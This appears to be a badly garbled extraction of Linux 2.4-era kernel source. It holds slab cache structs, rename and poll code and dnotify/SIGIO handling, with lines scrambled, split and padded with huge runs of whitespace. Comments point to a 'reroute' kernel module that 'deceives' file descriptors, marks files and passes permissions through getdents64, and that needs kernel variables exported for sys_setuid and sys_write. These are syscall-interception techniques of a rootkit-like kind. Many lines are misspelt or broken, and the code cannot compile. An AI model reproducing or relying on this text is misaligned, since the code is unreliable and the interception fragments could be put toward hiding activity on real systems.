```
#include <linux/proc_fs.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #include <linux/init.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              // # File module.h
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #define CACHE_NAMELEN
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     typedef struct cpucache_s
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #include <linux/smp_lock.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /* Example Module and Reroute Source Code Files
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #ifdef CONFIG_SMP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct kmem_cache_s {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       #include <linux/random.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #include <linux/spinlock.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #include <linux/mm.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            (setq commands (make-hash-table :test 'equal))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         #include <linux/config.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          #endif
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   cpucache_t;
                                                                  #if STATS
                                                                                      #endif
                                                                                                                                       #ifdef CONFIG_SMP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    unsigned int avail;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     unsigned int limit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               struct list_head

 each alloc & free */

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             struct list_head
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2) slab additions /removals */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            spinlock_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               struct list_head
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /* full, partial first, then
                                                                                                                                                                                                                                                                                                                                             unsigned int
                                                                                                                                                                                                                                                                                                                                                                                                   unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* order of pgs per slab (2^n)
                                                                                                                                                                                                                         void (*dtor)(void *, kmem_cache_t *,
                                                                                                                                                                                                                                                            void (*ctor)(void *, kmem_cache_t *,
                                                                                                                                                                                                                                                                                                              unsigned
                                                                                                                                                                                                                                                                                                                                                                  unsigned
                                                                                                                                                                                                                                                                                                                                                                                  size_t
                                                                                                                                                                                                                                                                                                                                                                                                                                      msigned int
             unsigned
                                                                                                                   4) per-cpu data */
                                                                                                                                                                        char
                                                                                                                                                                                      3) cache creation/removal */
                                                                                                                                                                                                        unsigned long
                                                                                                                                                                                                                                          /* de-constructor func */
                                                                                                                                                                                                                                                                                            unsigned int
                                                                                                                                                                                                                                                                                                                               kmem_cache_t
                                                                                                                                                                                                                                                                                                                                                                                                                    /* force GFP flags, e.g. GFP_DMA */
                                                                                                    cpucache_t
                                                                                                                                                         struct list_head
                                                                                                                                                                                                                                                                              /* constructor func */
                              unsigned
unsigned
                                                  unsigned
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              int
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               int
                                                                                                                                                                                                                                                                                                                                                                   int
                                                                                                                                                                                                                                                                                                                 int
                                                                                                                                                                                                                                                                                                                                                                                                      int
  Long
                                  long
                    long
                                                    long
                                                                                                                                                                           name [CACHE_NAMELEN];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             spinlock;
                                                                                                                                                                                                                                                                                                                                                                                       colour;
                                                                                                     *cpudata[NR_CPUS];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    slabs_full;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  slabs_free;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  slabs_partial;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               num;
                                                                                                                                                                                                                                                                                                                                                                                                                                         gfporder;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             batchcount;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               flags;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 objsize;
                                                                                                                                                                                                                                                                                                                                                                                                       gfpflags;
                                                                                                                                                          next;
                                                                                                                                                                                                                                                                                                                                                                   colour_off; /* colour offset */
                                                                                                                                                                                                                                                                                                dflags;
                                                                                                                                                                                                                                                                                                                                                    colour_next;
                                                                                                                                                                                                                                                                                                                 growing;
                                                                                                                                                                                                                                                                                                                                   *slabp_cache;
                                                                                                                                                                                                              failures;
                      high_mark;
                                     num_allocations;
                                                   num_active;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       20
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /* # of objs per slab */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         max name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /* constant flags */
                                                                                                                                                                                                                                                                                                                                                                                       /* cache colouring range */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        free
                                                                                                                                                                                                                                                                                                                                                                                                                                                               *
                                                                                                                                                                                                                                                                                                      *
                                                                                                                                                                                                                                                                                                   dynamic flags */
                                                                                                                                                                                                                                                                                                                                                        /* cache colouring
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          length
                                                                                                                                                                                                                                                                unsigned long);
                                                                                                                                                                                                                                unsigned long);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            for a
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            slab
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              cache
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              #ifdef CONFIG_SMP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              #include <asm/uaccess.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #endif
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #include <linux/quotaops.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    #include <linux/dcache.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #include nux/pagemap.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        #define NAME_OFFSET(de) ((int) ((de)->d_name - (char *)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           #define ROUND_UP64(x) (((x)+sizeof(u64)-1) & \sim(sizeof(u64)-1))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             #define ACC_MODE(x) (*\000\004\002\006*[(x)&O_ACCMODE])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                #include
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  //#include <linux/dnotify.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        endif
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     #define DECEIVEING
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            include <asm/namei.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              include
                                                                                                                                                                                                                                                                                                          unsigned short filldir_shared_var; //pass permissions from getdents64-
                                                                                                                                                                                                                                                                                                                         char * temp_storage; //just to print out pathnames --
                                                                                                                                                                                                                                                                                                                                                                                  check?
                                                                                                                                                                                                                                                                                                                                                                                                                                                    #define OTHER_OFF 2
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          define WFLAG
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         define DFLAG
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 include
                                                                                                                                                                                                                                                                                                                                          int tmp_fd; //for open_namei to know the current fd -- not used
                                                                                                                                                                                                                                                                                                                                                              //char dcv[NUM_FD]; //keep track of which fd's to deceive
                                                                                                                                                                                                                                                                                                                                                                                                #define USING_PERM
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        //#define TIMESLICE
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          define MARK_FILE 0x0dece14e
                                                                                                                                                                                                                                                                                               >filldir64
                                                                                                                                                                                                                                                                                                                                                                                                              define OWNER_OFF 8
                                                                                                                                                                                                                                                                                                                                                                                                                                   define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /#define
                                                                                                                                                                                                   #define __uidhashfn(uid)
                                                                                                                                                                                                                                        #define UIDHASH_SZ
                                                                                                                                                                                                                                                            #define UIDHASH_BITS
                                                                                                                                                                                                                                                                           //#define IN_RANGE(x)
                                                                                  extern
                                                                                                                                                     #define uidhashentry(uid)
                                                                                                                                                                                        JIDHASH_MASK)
                                                                                                                                                                                                                      #define UIDHASH_MASK
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              unsigned long unsigned long
               extern rwlock_t dn_lock;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           atomic_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           atomic_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           atomic_t
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            atomic_t
                                                                                                                                 these 5 variables need to be exported from the kernel
                                                                                                 so that they are not static.
                                                                                                                  their declarations in the kernel need to be modified
                                                             struct user_struct *uidhash_table[UIDHASH_SZ];
                                                                                                                                                                                                                                                                                                                                                                                                                                GROUP_OFF 5
                                               spinlock_t uidhash_lock;
                                                                                   kmem_cache_t *uid_cachep;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          TIMESLICE 1
                              kmem_cache_t *dn_cache;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  <asm/page.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                <asm/unaligned.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             <asm/pgtable.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <asm/semaphore.h>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      NUM_FD
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               allochit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              allocmiss;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             freemiss;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            freehit;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           0x40000000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               0x800000000
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    reaped;
                                                                                                                                                                                                                                                                                                                                                                                                  OTHER_OFF
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (jiffies>>11&3)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                        30 /*max number of fd's to keep track of*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (current->flags&DFLAG)
                                                                                                                                                                                                                                                                             ((x)<NUM_FD&&(x)>2)
                                                                                                                                                                                                                            (UIDHASH_SZ -
                                                                                                                                                                       (uidhash_table + __uidhashfn(uid))
                                                                                                                                                                                                          (((uid >> UIDHASH_BITS) ^ uid)
                                                                                                                                                                                                                                               << UIDHASH_BITS)
                                                                                                                                                                                                                                                                                                                                                                                                       //dcvn switch --
                                  // needed for sys_setuid()
                                                                                       // needed for sys_write()
                                                                                                                                                                                                                                                                                                                                                                                                          whose permissions
                                                                                                                                                                                                                                                                                                                                      not used
                                                                                                                                                                                                                                                                                                                                                                                                             ç
```

```
newname
                                                                  static inline int do_rename(const char * oldname, const char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     static struct dentry *lookup_create(struct nameidata *nd,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         static long band_table[NSIGPOLL]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       struct getdents_callback64
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   struct linux_dirent64 {
                                                                                                                                                                                                               enoent:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      #define POLLMSG
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 #define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           define POLLWRBAND
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               define POLLWRNORM
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        †define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             define POLLRDNORM
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     define POLLNVAL
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        define
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       define POLLOUT
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            define POLLPRI
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   define POLLIN
                                                                                                                                                                                                                                                                                                                                             dentry = lookup_hash(&nd->last, nd->dentry);
                                                                                                                                                                                                                                                                                                                                                                                            if (nd->last_type != LAST_NORM)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        unsigned short d_reclen;
unsigned char d_type;
   int error = 0;
                                                                                                                    return dentry;
                                                                                                                                                                                      dput (dentry);
                                                                                                                                                                                                                                return dentry;
                                                                                                                                                                                                                                                                                                                           if (IS_ERR(dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct linux_dirent64 * previous;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                struct linux_dirent64 * current_dir;
                                                                                                                                                              dentry = ERR_PTR(-ENOENT);
                                                                                                                                                                                                                                                                                                                                                                                                                     dentry = ERR_PTR(-EEXIST);
                                                                                                                                                                                                                                                                                                                                                                                                                                        down(&nd->dentry->d_inode->i_sem);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                 struct dentry *dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           POLLHUP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                POLLPRI
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     POLLERR,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             POLLIN
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             POLLOUT | POLLWRNORM | POLLWRBAND,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         POLLIN
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                int error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   int count;
                                                                                                                                                                                                                                                                                                                                                                      goto fail;
                                                                                                                                                                                                                                                                                                      goto fail;
                                                                                                                                                                                                                                                         goto enoent;
                                                                                                                                                                                                                                                                             (!is_dir && nd->last.name[nd->last.len] && !dentry->d_inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      POLLRDBAND
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        POLLHUP
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               POLLERR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           POLLRIDNORM
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       POLLRDNORM,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  d_name[0];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      d_off;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              POLLRDBAND,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           POLLERR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   0x0020
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   0x0001
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0x0200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      0x0400
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               0x0100
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      0x0080
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            0x0040
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        0x0010
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               8000x0
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     0x0004
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          0x0002
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* POLL_ERR */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           POLLMSG,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /* POLL_HUP */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* POLL_IN */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /* POLL_PRI */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     /* POLL_MSG
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                /* POLL_OUT */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          int is_dir)
                          exit1:
                                                                                                              exit3:
                                                                                double_up(&new_dir->d_inode->i_sem, &old_dir->d_inode->i_sem);
                                            path_release(&newnd);
                                                                                                                                  dput (old_dentry);
                                                                                                                                                                                                                                                                                                                                                               new_dentry = lookup_hash(&newnd.last, new_dir);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             double_lock(new_dir, old_dir);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if (path_init(newname, LOOKUP_PARENT, &newnd))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (path_init(oldname, LOOKUP_PARENT, &oldnd))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  struct nameidata oldnd, newnd
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        struct dentry * old_dentry, *new_dentry;
path_release(&oldnd);
                                                                                                                                                                                                                                                                                                                                            error = PTR_ERR(new_dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         if (!S_ISDIR(old_dentry->d_inode->i_mode)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error = PTR_ERR(old_dentry);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           old_dentry = lookup_hash(&oldnd.last, old_dir);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            old_dir = oldnd.dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error = -EXDEV;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (error)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   struct dentry * old_dir, * new_dir;
                                                                                                                                                                                  dput(new_dentry);
                                                                                                                                                                                                         unlock_kernel();
                                                                                                                                                                                                                                                  error = vfs_rename(old_dir->d_inode, old_dentry,
                                                                                                                                                                                                                                                                                                                   if (IS_ERR(new_dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if (!old_dentry->d_inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   new_dir = newnd.dentry;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (oldnd.last_type != LAST_NORM)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        error = -EBUSY;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             if (error)
                                                                                                                                                                                                                                                                           lock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (newnd.last_type != LAST_NORM)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (oldnd.mnt != newnd.mnt)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* source must exist */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     unless the source is a directory trailing slashes give -ENOTDIR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (oldnd.last.name[oldnd.last.len])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                goto exit4;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           goto exit3;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             (IS_ERR(old_dentry))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        goto exit2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            goto exit2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 goto exit2;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       goto exit1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error = path_walk(newname, &newnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             goto exit;
                                                                                                                                                                                                                                                                                                  goto exit4;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         error = -ENOTDIR;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           error = path_walk(oldname, &oldnd);
                                                                                                                                                                                                                                                                                                                                                                                                                                     if (newnd.last.name[newnd.last.len])
                                                                                                                                                                                                                                                                                                                                                                                                                 goto exit4;
                                                                                                                                                                                                                                                                                                                                                                                                                                                            goto exit4;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              -ENOENT;
                                                                                                                                                                                                                             new_dir->d_inode, new_dentry);
```

```
void
                                                                                                                                                                                                                                                                                                                                                                    static void redo_inode_mask(struct inode *inode)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         void send_sigio(struct fown_struct *fown, int fd,
                                                      struct dnotify_struct **prev;
                                                                              struct dnotify_struct * dn;
                                  struct fown_struct * fown;
                                                                                                                                                                                                                                                                                      struct dnotify_struct *dn;
                                                                                                                                                                                                                                                                                                                                                                                                                    read_unlock(&tasklist_lock)
                                                                                                                                                                                                                                                                                                                  unsigned long new_mask;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if ( (pid > 0) && (p = find_task_by_pid(pid)) ) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            struct task_struct * p;
                                                                                                                                                                                      inode->i_dnotify_mask = new_mask;
                                                                                                                                                                                                                                                                    new_mask = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    for_each_task(p) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                read_lock(&tasklist_lock);
                                                                                                                                __inode_dir_notify(struct inode *inode, unsigned long event)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ŗ.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (pid < 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      goto out;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          send_sigio_to_task(p,
                                                                                                                                                                                                              new_mask |= dn->dn_mask & ~DN_MULTISHOT;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              send_sigio_to_task(p,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       /* fall-through: fall back on the old plain SIGIO signal */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            int match = p->pid;
                                                                                                                                                                                                                                    (dn = inode->i_dnotify; dn != NULL; dn =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    pid
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (pid != match)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     if ((reason & __SI_MASK) !=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            continue;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          match = -p->pgrp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     send_sig(SIGIO, p, 1);
